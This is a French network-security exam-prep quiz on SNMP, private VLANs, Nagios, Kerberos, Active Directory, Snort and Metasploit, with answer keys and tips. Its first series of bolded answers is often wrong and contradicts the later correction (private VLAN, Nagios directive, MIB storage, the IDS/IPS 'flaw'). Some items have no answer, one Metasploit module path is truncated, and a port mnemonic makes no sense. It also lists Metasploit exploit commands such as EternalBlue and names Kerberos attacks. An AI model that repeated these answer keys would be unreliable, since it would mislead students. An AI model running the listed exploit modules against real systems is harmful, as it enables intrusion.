b) **Alerter le gestionnaire d'événements spécifiques sans que celui-ci n'ait fait de requête**
c) Établir une session chiffrée entre deux agents SNMP
d) Répliquer des informations de gestion entre deux agents SNMP

SECRET

SNMPv2 Traps vs Informs : Traps (UDP, port 162) : - Envoi non fiable (UDP) - Pas d'accusé de réception - Léger, rapide - Le manager peut perdre le trap
Informs : - Envoi fiable avec ACK - Le manager confirme réception - Plus lourd (retransmissions) - Garantit la livraison
Configuration agent (snmpd.conf) : trapsink 192.168.1.100 public Envoi traps au manager trap2sink 192.168.1.100 public SNMPv2 traps authtrapenable 1 Trap si auth échoue
Types de traps standards : - coldStart : Démarrage agent - warmStart : Redémarrage agent - linkDown : Interface down - linkUp : Interface up - authenticationFailure : Tentative accès avec mauvaise community

Q85. Quel scénario nécessite un VLAN privé ?

a) Isoler les utilisateurs finaux sur un même VLAN tout en leur permettant d'accéder aux ressources réseau communes
b) **Permettre un routage inter-VLAN sans commutateur de niveau 3**
c) Configurer un VLAN pour usage dynamique basé sur les adresses MAC
d) Garantir que tous les utilisateurs du VLAN peuvent communiquer directement entre eux

ASTUCE

PVLAN (Private VLAN) - Topologie : Primary VLAN (principal) Isolated VLAN (isolé) Ports ne peuvent parler QU'au promiscuous Community VLAN (communauté) Ports parlent entre eux ET au promiscuous Promiscuous Port (routeur/-gateway)
Cas d'usage typique : Hébergeur web - Primary VLAN 100 - Isolated VLAN 101 : Clients isolés les uns des autres - Promiscuous : Gateway/Routeur
Client A (isolated) → Client B (isolated) : BLOQUÉ Client A (isolated) → Gateway : OK Gateway → Client A : OK
Configuration Cisco : vlan 100 private-vlan primary vlan 101 private-vlan isolated vlan 100 private-vlan association 101 interface GigabitEthernet0/1 switchport mode private-vlan promiscuous switchport private-vlan mapping 100 101

Q86. L'exploit peut être utilisé pour :

a) Exploiter des failles de sécurité de type buffer overflow
b) Configurer des règles Snort
c) Créer des tunnels chiffrés via OpenVPN
d) Analyser le scan de port

Q87. En Nagios, quelle directive est utilisée pour spécifier une commande personnalisée pour un service ?

a) action_command
b) **command_line**

c) check_command
d) service_command

ERREUR

Confusion fréquente dans Nagios : define command = Définit une commande réutilisable command_name check_http_custom command_line /usr/local/nagios/libexec/check_http -H $HOSTADDRESS$ -u $ARG1$
define service = Utilise la commande check_command check_http_custom!/index.php
command_line : Dans la définition de commande (commands.cfg) check_command : Dans l'objet service/host (localhost.cfg)
Le $ARG1$ est remplacé par ce qui suit "!" : /index.php $HOSTADDRESS$ = Macro Nagios, remplacée par l'IP de l'hôte
Macros Nagios indispensables : $HOSTADDRESS$ = IP hôte $HOSTNAME$ = Nom hôte $SERVICEDESC$ = Description service $SERVICESTATE$ = État (OK/WARNING/CRITICAL) $OUTPUT$ = Sortie du plugin

Q88. Quel port est par défaut utilisé pour l'authentification Kerberos ?

a) 80
b) 443
c) **88**
d) 53

Q89. Dans Kerberos, quel est le rôle du TGT (Ticket-Granting Ticket) ?

a) Accès direct aux ressources réseau
b) Authentifier le client auprès des serveurs
c) **Autoriser l'utilisateur à demander des tickets de service supplémentaires**
d) Activer la double authentification

SECRET

Flux Kerberos complet (A CONNAITRE PAR CŒUR) : 1. AS-REQ : Client → KDC (Key Distribution Center) "Je suis Alice, je veux me connecter"
2. AS-REP : KDC → Client Contient TGT (Ticket-Granting Ticket) TGT chiffré avec clé du TGS (Ticket-Granting Service) Session key chiffrée avec mot de passe user
3. TGS-REQ : Client → TGS "Voici mon TGT, je veux accéder au serveur FILE01"
4. TGS-REP : TGS → Client Contient Service Ticket pour FILE01 Chiffré avec clé du serveur FILE01
5. AP-REQ : Client → FILE01 Présente le Service Ticket
6. AP-REP : FILE01 → Client Confirmation (authentification mutuelle)
Ports Kerberos : 88/TCP et 88/UDP : Authentification 464/TCP et 464/UDP : Changement mot de passe (kpasswd) 749/TCP : Administration (kadmin)
Attaques Kerberos : - Kerberoasting : Demander des tickets, cracker offline - Golden Ticket : Forge TGT avec hash KRBTGT - Silver Ticket : Forge Service Ticket - Pass-the-Ticket : Voler des tickets existants

Q90. Quelle option Metasploit permet de définir un exploit spécifique ?

a) **use exploit/name**
b) set exploit/name

c) exploit.config
d) exploit.run

16.2 Active Directory avancé

Q91. Dans Active Directory, quelle stratégie bloque les connexions via LDAP ?

a) **Stratégie de mot de passe**
b) Stratégie de restriction locale
c) Stratégie de groupe (GPO)
d) Stratégie de routage réseau

Q92. Quelle directive Nagios fixe l'intervalle entre deux vérifications ?

a) check_timeout
b) **check_interval**
c) retry_interval
d) notification_interval

ASTUCE

Intervalles Nagios : check_interval : Temps entre checks en état OK (ex : 5 minutes) retry_interval : Temps entre checks en état non-OK (ex : 1 minute) → Plus fréquent pour détecter rapidement le retour à la normale max_check_attempts : Nombre d'échecs avant état HARD notification_interval : Intervalle entre notifications (ex : 120 minutes) → Évite le spam, re-notifie toutes les 2h si problème persiste
Exemple service critique : define service check_interval 1 ; Vérifie chaque minute retry_interval 0.5 ; Si problème, revérifie après 30s max_check_attempts 3 ; 3 échecs = alerte notification_interval 30 ; Re-notifie toutes les 30 min
Calcul : Temps avant alerte = retry_interval × (max_check_attempts - 1) = 0.5 × 2 = 1 minute maximum avant notification

Q93. Quel type de base de données est utilisé pour les MIB en SNMP ?

a) **Base de données relationnelle**
b) Fichier hiérarchique OID
c) Base de données NoSQL
d) Base de données orientée document

Q94. Quelle commande Snort active des règles personnalisées ?

a) **snort -c custom.rules**
b) snort -p
c) snort -A full
d) snort -r config.rules

Q95. Dans SNMP, le message GetRequest est utilisé pour :

a) Modifier un objet MIB
b) **Lire une valeur d'objet MIB**
c) Transmettre des données entre agents
d) Supprimer un objet MIB

Q96. Lequel des éléments suivants est une faille de sécurité exploitable avec Metasploit ?

a) Heartbleed

b) ZeroTrust
c) **IDS/IPS**
d) VLAN hopping

ERREUR

Clarification : Les IDS/IPS ne sont PAS des vulnérabilités à exploiter, ce sont des systèmes de défense.
Failles exploitables réelles : 1. Heartbleed (CVE-2014-0160) : - Bug OpenSSL - Fuite mémoire serveur - Vol de clés privées, mots de passe use auxiliary/scanner/ssl/openssl_heartbleed
2. EternalBlue (MS17-010) : - SMBv1 Windows - Worm (WannaCry, NotPetya) use exploit/windows/smb/ms17_010_eternalblue
3. Shellshock (CVE-2014-6271) : - Bash injection - RCE via variables d'environnement
4. Log4Shell (CVE-2021-44228) : - Log4j Java - RCE via JNDI injection use exploit/multi/http/log4shell_header_injection
VLAN hopping : Technique d'attaque réseau (DTP, Double Tagging)

17 QCM SN 2025

Correction de la première série (Questions 1-10)

(a) **Quel mécanisme est utilisé pour chiffrer les messages SNMPv3 ?**
b) AES
a) DES c) RC4 d) 3DES
Détail : SNMPv3 définit un modèle de sécurité (USM) qui prend en charge plusieurs algorithmes pour la confidentialité (chiffrement). Le standard RFC 3826 spécifie l'utilisation d'AES (Advanced Encryption Standard) comme algorithme recommandé et moderne pour le chiffrement des données SNMPv3. DES et 3DES sont plus anciens et moins sécurisés, et RC4 n'est pas un algorithme standard pour SNMPv3.
Astuce/secret : AES est souvent l'algorithme par défaut dans les implémentations modernes de SNMPv3. Si une question mentionne "SNMPv3" et "chiffrement", pensez immédiatement à AES.

(b) **Dans Active Directory, quel type de contrôleur permet la restauration rapide d'une forêt entière ?**
a) Contrôleur de domaine standard
d) Contrôleur d'opérations maître b) Contrôleur de domaine en lecture seule (RODC) c) Contrôleur de catalogue global

(c) **Le protocole EAP-TLS nécessite :**
b) Un certificat client et un certificat serveur
a) Une clé pré-partagée (PSK) c) Une authentification par mot de passe uniquement d) Une clé privée serveur uniquement
Détail : EAP-TLS (Extensible Authentication Protocol - Transport Layer Security) est l'une des méthodes EAP les plus sécurisées. Elle repose sur une infrastructure à clé publique (PKI) où **le client et le serveur (le serveur d'authentification, souvent un serveur RADIUS) doivent tous deux posséder et échanger des certificats numériques** pour s'authentifier mutuellement (authentification mutuelle). C'est ce qui la distingue de PEAP ou EAP-TTLS, qui n'ont besoin d'un certificat que côté serveur.
Astuce/secret : Pensez "TLS" comme dans HTTPS : cela nécessite un certificat des deux côtés pour une sécurité maximale. C'est souvent utilisé dans les environnements d'entreprise exigeants.

(d) **Quelle règle Snort détecte une tentative de connexion SSH brute-force ?**
(b) alert tcp any any -> any 22 (flow :to_server,established ; content :"Failed password") ;
(a) alert tcp any any -> any 22 (content :"SSH" ;) (c) alert tcp any any -> any 22 (msg :"SSH brute force" ; dsize :>500) ;) (d) alert udp any any -> any 22 (msg :"UDP SSH traffic detected") ;)
Détail : Les attaques par force brute sur SSH génèrent de nombreuses tentatives de connexion avec des mots de passe erronés. Les messages d'erreur du serveur SSH contiennent typiquement la chaîne "Failed password". La bonne règle (b) cible le trafic TCP établi (established) vers le port 22 (SSH) et recherche cette chaîne spécifique. La règle (a) détecte simplement le mot "SSH", générant trop de faux positifs. La (c) se base sur la taille des paquets, non fiable. La (d) est invalide car SSH utilise TCP, pas UDP.
Astuce/secret : Les règles efficaces de détection d'intrusion sont spécifiques. Cher-

chez les **mots-clés uniques** dans le contenu (comme "Failed password" pour SSH, "invalid user", etc.) et utilisez les options de flux (`flow`) pour analyser le bon sens du trafic (établi, vers le serveur).

(e) **Dans une infrastructure Active Directory complexe, quel outil permet de vérifier la réplication entre plusieurs contrôleurs de domaine ?**
b) RepAdmin
a) DCDiag c) NetDiag d) GPUpdate
Détail : `RepAdmin.exe` (Replication Administrator) est l'outil de ligne de commande dédié au **dépannage et au monitoring de la réplication Active Directory**. Il permet de forcer la réplication, d'afficher l'état des connexions de réplication, les métadonnées, etc. `DCDiag` effectue une batterie de tests plus large sur un contrôleur de domaine. `NetDiag` est obsolète. `GPUpdate` force la mise à jour des stratégies de groupe.

Astuce/secret : La commande magique pour un admin AD est souvent `repadmin /showrepl`. Elle affiche un résumé immédiat de l'état de réplication pour un contrôleur donné.

(f) **En SNMP, quel est l'objectif du Trap ?**
b) Alerter le gestionnaire d'événements spécifiques
a) Permettre un transfert de fichiers entre l'agent et le gestionnaire c) Établir une session chiffrée entre deux entités SNMP d) Répliquer les informations de gestion entre deux agents SNMP
Détail : Un **Trap SNMP** (ou notification en SNMPv2/v3) est un message **asynchrone et non sollicité** envoyé par un agent SNMP (un équipement réseau, un serveur) vers le gestionnaire (NMS) pour l'informer d'un événement significatif (panne, seuil dépassé, changement d'état). C'est le mécanisme principal d'alerte proactive dans SNMP.

Astuce/secret : Les Traps sont envoyés sur le port **162 UDP** (par défaut), alors que les requêtes du gestionnaire (Get, Set) utilisent le port **161 UDP**. Ne pas confondre !

(g) **Quel scénario nécessite un VLAN privé ?**
a) Isoler les utilisateurs finaux sur un même VLAN tout en leur permettant d'accéder aux ressources réseau communes
b) Permettre un routage inter-VLAN sans commutateur de niveau 3 c) Garantir que tous les utilisateurs du VLAN peuvent communiquer directement d) Configurer des VLAN pour un usage dynamique basé sur les adresses MAC
Détail : Un VLAN Privé (PVLAN) est une fonctionnalité avancée des commutateurs qui permet, à l'intérieur d'un même VLAN primaire, de segmenter davantage le trafic. Il crée des ports **isolés** (qui ne communiquent qu'avec les ports promiscueux), des ports **communautaires** (qui communiquent entre eux et avec les promiscueux) et un port **promiscueux** (généralement connecté à une passerelle ou un serveur). C'est parfait pour **isoler des clients/hôtes entre eux tout en leur permettant d'accéder aux mêmes ressources centrales (serveurs, Internet)**.

Astuce/secret : PVLAN est très utilisé chez les hébergeurs cloud ou dans les réseaux d'entreprise pour isoler des machines virtuelles ou des postes clients sensibles entre eux, tout en leur offrant un accès commun au gateway par défaut.

(h) **Métasploit peut être utilisé pour :**
b) Exploiter des failles de sécurité de type buffer overflow

a) Déployer des IDS réseau c) Configurer les règles Snort d) Créer des tunnels chiffrés via OpenVPN

Détail : Metasploit est **un framework d'exploitation de vulnérabilités et de test d'intrusion**. Son cœur de métier est de fournir des **exploits** (codes qui tirent parti de failles comme les dépassements de buffer, les injections SQL, etc.), des **payloads** (codes exécutés après une exploitation réussie, comme des shells inversés), et des outils auxiliaires (scanners, fuzzers). Il n'est pas conçu pour déployer des IDS, configurer Snort ou créer des VPN.

Astuce/secret : Metasploit est à double tranchant : outil essentiel pour les pentesters éthiques (avec autorisation) et les équipes rouge, mais aussi utilisé par les attaquants malveillants. Son module le plus célèbre est probablement `msfconsole`.

(i) **Dans Nagios, quelle directive est utilisée pour spécifier une commande personnalisée pour un service ?**

c) check_command

a) Entretien command b) command line d) service_command

Détail : Dans les fichiers de configuration de Nagios (comme ceux définissant un service dans `services.cfg`), la directive `check_command` est utilisée pour spécifier **la commande qui sera exécutée pour vérifier l'état du service**. Cette commande fait référence à une définition de commande dans un fichier comme `commands.cfg`. C'est le lien entre un service à surveiller et le script/plugin qui effectue la vérification.

Astuce/secret : Nagios utilise un système de modèles et de références. `check_command` pointe vers un nom de commande, qui est lui-même défini ailleurs avec le chemin réel du plugin et ses arguments.

(j) **Dans un environnement utilisant Kerberos, quel est le rôle du TGT (Ticket-Granting Ticket) ?**

c) Autoriser l'utilisateur à demander des tickets de service supplémentaires

a) Garantir un accès direct aux ressources réseau b) Authentifier le client auprès des serveurs d'application d) Déterminer la double authentification

Détail : Le TGT est le **premier ticket obtenu par un client après une authentification réussie auprès du Centre de Distribution de Clés (KDC)**. Il est chiffré avec la clé secrète du service Ticket-Granting Service (TGS). Le client ne peut pas le déchiffrer. Il le présente au TGS (qui peut le déchiffrer) pour **demander des Tickets de Service (ST) spécifiques** pour accéder à d'autres services (partage de fichiers, mail, etc.). Le TGT ne permet pas d'accéder directement aux ressources.

Astuce/secret : Pensez au TGT comme à un **passeport** (prouvant votre identité) et aux ST comme à des **visas** spécifiques pour chaque pays (service) que vous voulez visiter. Vous montrez d'abord votre passeport (TGT) à l'ambassade (TGS) pour obtenir un visa (ST) pour un pays donné.

Correction de la deuxième série (Questions 11-20)

(a) **Quelle commande Snort permet d'activer des règles personnalisées ?**

(a) snort -c custom.rules

(b) snort -p (c) snort -A full (d) snort -r config.rules

Détail : L'option `-c` permet de spécifier le fichier de configuration à utiliser. Ce fichier de configuration (`snort.conf` typiquement) contient, entre autres, les chemins vers les fichiers de règles via des directives `include`. Pour utiliser des règles personnalisées, on crée un fichier de règles (par ex. `custom.rules`) et on l'inclut dans le `snort.conf`, ou on pointe directement vers ce fichier avec `-c custom.rules` s'il est auto-suffisant. `-p` désactive le mode promiscuous. `-A` définit le mode d'alerte. `-r` lit un fichier pcap.

Astuce/secret : En pratique, on inclut presque toujours ses règles personnalisées dans le `snort.conf` principal. La commande de lancement classique est `snort -c /etc/snort/snort.conf`.

(b) **Quel port est par défaut utilisé pour l'authentification Kerberos ?**
c) 88
a) 80 b) 443 d) 53
Détail : Le protocole Kerberos, utilisé pour l'authentification dans des domaines comme Active Directory, utilise par défaut le **port UDP 88** (parfois aussi TCP 88 pour les tickets de grande taille). Le port 80 est pour HTTP, 443 pour HTTPS, et 53 pour DNS.

Astuce/secret : Pour mémoriser : "K" est la 11ème lettre, "H" (HTTP) la 8ème. 8+8=... 88 ! (Astuce mnémotechnique).

(c) **Dans Active Directory, quelle stratégie est appliquée pour bloquer les connexions via RDP ?**
c) Stratégie de groupe (GPO)
a) Stratégie de mot de passe b) Stratégie de restriction locale d) Stratégie de routage réseau
Détail : Le contrôle d'accès via RDP (Remote Desktop Protocol) se configure principalement via les **Stratégies de Groupe (GPO)**. On utilise notamment : "Configuration ordinateur -> Stratégies -> Paramètres Windows -> Paramètres de sécurité -> Stratégies locales -> Attribution des droits utilisateur -> Autoriser l'ouverture de session par les services Bureau à distance" (pour ajouter/supprimer des groupes) ou via les règles de pare-feu Windows dans une GPO. Les stratégies de mot de passe ne gèrent pas cela. Les stratégies locales existent mais sont éclipsées par les GPO dans un domaine.

Astuce/secret : La GPO est l'outil de gestion centralisée par excellence dans AD. Pour tout ce qui concerne les droits, les paramètres de sécurité et la configuration des postes/serveurs, pensez GPO en premier.

(d) **Quel type de base de données est utilisé pour les MIB en SNMP ?**
b) Fichier hiérarchique OID
a) Base de données relationnelle c) NoSQL d) Base de données orientée document
Détail : Une MIB (Management Information Base) n'est pas une base de données active, mais **un fichier texte (généralement au format .mib ou .my)** qui définit une structure hiérarchique d'objets gérés. Cette hiérarchie est organisée sous forme d'arbre, où chaque nœud est identifié par un OID (Object Identifier) unique. Par exemple, 1.3.6.1.2.1.1.1 est l'OID pour `sysDescr`. L'agent SNMP implémente ces objets en mémoire, mais leur définition provient de ces fichiers MIB hiérarchiques.

Astuce/secret : Les OID sont comme une adresse postale hiérarchique : 1 (iso).3 (org).6 (dod).1 (internet).2.1 (mgmt).1.1 (system.1). Pour traduire un OID numé-

rique en nom lisible, le gestionnaire SNMP a besoin de charger les fichiers MIB correspondants.

(e) **Quelle option Metasploit permet de définir un exploit spécifique ?**
a) use exploit/name
b) set exploit c) exploit.config d) exploit.run
Détail : Dans la console `msfconsole` de Metasploit, la commande pour sélectionner et charger un module (exploit, auxiliary, payload, etc.) est `use <chemin/vers/le/module>`. Par exemple, `use exploit/windows/smb/ms17_010_eternalblue`. Cela charge l'exploit dans le contexte courant. `set` est utilisé pour définir les options (comme `set RHOSTS 192.168.1.10`) une fois l'exploit chargé.

Astuce/secret : La commande `search` est votre amie : `search eternalblue` vous donnera le chemin exact à utiliser avec `use`.

(f) **Dans SNMP, le message GetRequest est utilisé pour :**
b) Lire une valeur d'objet MIB
a) Modifier un objet MIB c) Transmettre des données entre agents d) Supprimer un objet MIB
Détail : GetRequest est l'une des opérations PDU (Protocol Data Unit) de base de SNMP. Elle est envoyée par le gestionnaire (NMS) à un agent pour **demander la valeur d'un ou de plusieurs objets MIB spécifiques** (identifiés par leurs OID). L'agent répond avec un GetResponse contenant les valeurs. Pour modifier une valeur, le gestionnaire envoie un SetRequest (s'il a les droits en écriture). Il n'y a pas d'opération de suppression d'objet dans SNMP.

Astuce/secret : SNMP suit un modèle simple de requête-réponse (sauf pour les traps). Get (lire), Set (écrire), GetNext/GetBulk (parcourir la table).

(g) **Lequel des éléments suivants est une faille de sécurité exploitable avec Metasploit ?**
a) Heartbleed
b) ZeroTrust c) IDS/IPS d) VLAN hopping
Détail : Heartbleed (CVE-2014-0160) est **une vulnérabilité critique dans la bibliothèque OpenSSL** qui permettait de lire la mémoire des serveurs utilisant TLS. Metasploit inclut un module d'exploitation pour cette faille (`auxiliary/scanner/ssl/openssl_` ZeroTrust est un modèle de sécurité, pas une faille. IDS/IPS sont des systèmes de défense. VLAN hopping est une technique d'attaque au niveau de la couche 2, pour laquelle Metasploit a des modules limités (ce n'est pas son domaine principal).

Astuce/secret : Metasploit exploite des vulnérabilités logicielles spécifiques. Heartbleed est l'une des plus célèbres de la dernière décennie.

(h) **Quel port est utilisé par défaut pour envoyer un Trap SNMP ?**
b) 162
a) 161 c) 514 d) 80
Détail : Par convention, **le port UDP 162 est utilisé par le gestionnaire SNMP (NMS) pour recevoir les Traps et Notifications** envoyés par les agents. **Le port 161 est utilisé par l'agent pour recevoir les requêtes (Get, Set) du gestionnaire**. Le port 514 est pour syslog.

Astuce/secret : Mnémotechnique : **Agent = 161** (A et 1 sont en début d'alphabet), **Trap = 162** (T vient après A). L'agent écoute sur 161, le gestionnaire écoute sur 162 pour les traps.

(i) **Dans un environnement sécurisé, SNMPv3 offre :**
b) Authentification et chiffrement
a) Authentification uniquement c) Pas de sécurité d) Uniquement des Trap sécurisés
Détail : SNMPv3 introduit un modèle de sécurité (USM - User-based Security Model) robuste qui fournit : **1) Authentification** (vérification de l'identité de l'utilisateur SNMP, via HMAC-MD5 ou HMAC-SHA), et **2) Confidentialité (chiffrement)** des données de la PDU (via DES ou AES). Ces deux services sont optionnels et peuvent être utilisés indépendamment (authentification seule, ou les deux). SNMPv1/v2c n'offraient qu'une "sécurité" basée sur des communautés en clair.
Astuce/secret : SNMPv3 = Sécurité sérieuse. Quand on parle de sécuriser SNMP dans un environnement de production, le passage à la v3 est l'étape obligatoire.

(j) **Quel outil est utilisé pour analyser les paquets réseau en profondeur ?**
b) Wireshark
a) Metasploit c) Nagios d) Snort uniquement
Détail : Wireshark est **l'analyseur de protocoles réseau (sniffer) graphique le plus répandu**. Il permet de capturer le trafic en temps réel ou d'analyser des fichiers de capture (pcap), de décoder des centaines de protocoles, de filtrer le trafic et d'inspecter chaque champ de chaque paquet en profondeur. Metasploit est pour l'exploitation. Nagios pour la supervision. Snort est un IDS/IPS qui analyse aussi les paquets, mais dans un but de détection d'intrusion, pas d'analyse interactive et détaillée par un humain.
Astuce/secret : Wireshark est l'outil de diagnostic ultime. Apprenez à utiliser les filtres d'affichage (ex : `http`, `tcp.port == 443`, `ip.addr == 192.168.1.1`) et les statistiques pour devenir efficace.